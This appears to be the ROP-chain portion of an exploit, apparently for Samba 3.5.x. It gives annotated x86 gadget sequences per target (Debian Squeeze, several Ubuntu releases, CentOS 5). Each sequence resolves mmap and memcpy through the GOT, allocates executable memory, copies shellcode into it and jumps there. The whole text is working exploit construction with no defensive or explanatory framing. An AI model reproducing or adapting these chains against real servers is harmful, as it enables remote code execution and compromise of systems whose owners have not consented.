Debian Squeeze / 2:3.5.6~dfsg-3squeeze6 pop ebx ; pop ebp ; ret offset of .got.plt section ebp = junk to be skipped over pop eax; ret mmap@got - 4 mov eax, dword [eax+0x04] ; ret || eax = @mmap jmp eax add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments mmap arg : addr mmap arg : size mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC mmap arg : MAP_PRIVATE | MAP_ANON mmap arg : filedes mmap arg : off_t junk to be skipped over pop edx ; inc ebx ; ret edx = writable location, in GOT mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT ebp = junk to be skipped over xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy pop esi ; ret pop ebp ; pop ecx ; ret || ecx = esp push esp ; and al, 0x0C ; call esi pop eax ; ret eax = value to add to esp to point to shellcode add eax, ecx ; pop edi ; pop ebp ; ret edi = junk to be skipped over ebp = junk to be skipped over xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy pop eax; ret memcpy@got - 4 mov eax, dword [eax+0x04] ; ret || eax = @memcpy xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy xchg eax, esi ; ret || save eax pop eax; ret saved mmaped addr - 4 mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr xchg eax, esi ; ret ; || restore eax pop esi ; ret esi = offset of .got.plt section pop edi ; pop ebp **1** ; ret (P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad) junk for ebp **1** pushad ; ret || will ret on gadget (P) which was in edi payload size Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2 Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2 pop ebx ; ret offset of .got.plt section pop eax; ret mmap@got - 4 mov eax, dword [eax+0x04] ; ret || eax = @mmap jmp eax add esp, 0x1C; ret || mmap ret, skip overt mmap arguments mmap arg : addr mmap arg : size mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC mmap arg : MAP_PRIVATE | MAP_ANON mmap arg : filedes mmap arg : off_t junk to be skipped over pop edx ; inc ebx ; ret edx = writable location, in GOT mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy mov eax, ecx ; pop ebp ; ret junk for ebp mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr pop eax ; ret eax = writable location, in GOT pop ebx ; ret ebx = writable location, in GOT push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp junk for ebp mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret junk for ebx esi = value to add to esp to point to shellcode junk for edi xchg eax, ebx ; ret add ebx, esi ; ret || ebx = esp + XX == src in memcpy pop eax; ret memcpy@got - 4 mov eax, dword [eax+0x04] ; ret || eax = @memcpy xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy pop esi ; ret esi = offset of .got.plt section pop edi ; pop ebp **1** ; ret (P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad) junk for ebp **1** pushad ; ret || will ret on gadget (P) which was in edi payload size Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2 ebx = offset of .got.plt section esi = junk to be skipped over edi = junk to be skipped over ebp = junk to be skipped over pop eax; ret mmap@got - 4 mov eax, dword [eax+0x04] ; ret || eax = @mmap jmp eax add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments mmap arg : addr mmap arg : size mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC mmap arg : MAP_PRIVATE | MAP_ANON mmap arg : filedes mmap arg : off_t junk to be skipped over pop edx ; inc ebx ; ret edx = writable location, in GOT mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT junk to be skipped over esi = pop ebx ; pop esi ; pop edi ; ret junk to be skipped over junk to be skipped over xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp junk to be skipped over xchg eax, esi ; ret pop ecx ; ret value to add to esp to point to shellcode add eax, ecx ; pop edi ; pop ebp ; ret edi = junk to be skipped over ebp = junk to be skipped over xchg eax, ebx ; ret || ebx = src in memcpy pop eax; ret writable add in GOT - 4 mov eax, dword [eax+0x04] ; ret || eax = mmaped addr xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy pop eax; ret memcpy@got - 4 mov eax, dword [eax+0x04] ; ret || eax = @memcpy xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy pop esi ; ret esi = offset of .got.plt section pop edi ; pop ebp **1** ; ret (P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad) junk for ebp **1** pushad ; ret || will ret on gadget (P) which was in edi payload size Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8 pop ebx ; pop ebp ; ret offset of .got.plt section ebp = junk to be skipped over pop eax; ret mmap@got - 4 mov eax, dword [eax+0x04] ; ret || eax = @mmap jmp eax add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments mmap arg : addr mmap arg : size mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC mmap arg : MAP_PRIVATE | MAP_ANON mmap arg : filedes mmap arg : off_t junk to be skipped over pop edx ; inc ebx ; ret edx = writable location, in GOT mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT ebp = junk to be skipped over xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy pop esi ; ret pop ebp ; pop ecx ; ret || ecx = esp push esp ; and al, 0x0C ; call esi pop eax ; ret eax = value to add to esp to point to shellcode add eax, ecx ; pop edi ; pop ebp ; ret edi = junk to be skipped over ebp = junk to be skipped over xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy pop eax; ret memcpy@got - 4 mov eax, dword [eax+0x04] ; ret || eax = @memcpy xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy xchg eax, esi ; ret || save eax pop eax; ret saved mmaped addr - 4 mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr xchg eax, esi ; ret ; || restore eax pop esi ; ret esi = offset of .got.plt section pop edi ; pop ebp **1** ; ret (P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad) junk for ebp **1** pushad ; ret || will ret on gadget (P) which was in edi payload size 3.5.10-0.107.el5 on CentOS 5 pop esi ; pop ebp ; ret pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk ebp = junk to be skipped over push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi esi = junk to be skipped over edi = junk to be skipped over xchg eax, ebx ; ret || eax = esp pop ecx ; ret value to add to esp to point to shellcode add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad offset of writable/executable memory (last 0x800 bytes) pop eax ; ret memcpy@got - 4 mov eax, dword [eax+0x04] ; ret || eax = @memcpy xchg eax, ebx ; ret || ebx = @memcpy mov eax, ecx ; ret || eax = ecx = src in memcpy pop esi ; pop ebp ; ret esi = offset of .got.plt section ebp = junk to be skipped over pop ecx ; ret offset of writable/executable memory (last 0x800 bytes) pop edi ; pop ebp ** 1 **; ret (P) pop ebx ; pop esi ; pop ebp ; ret junk for ebp **1** pushad ; ret payload size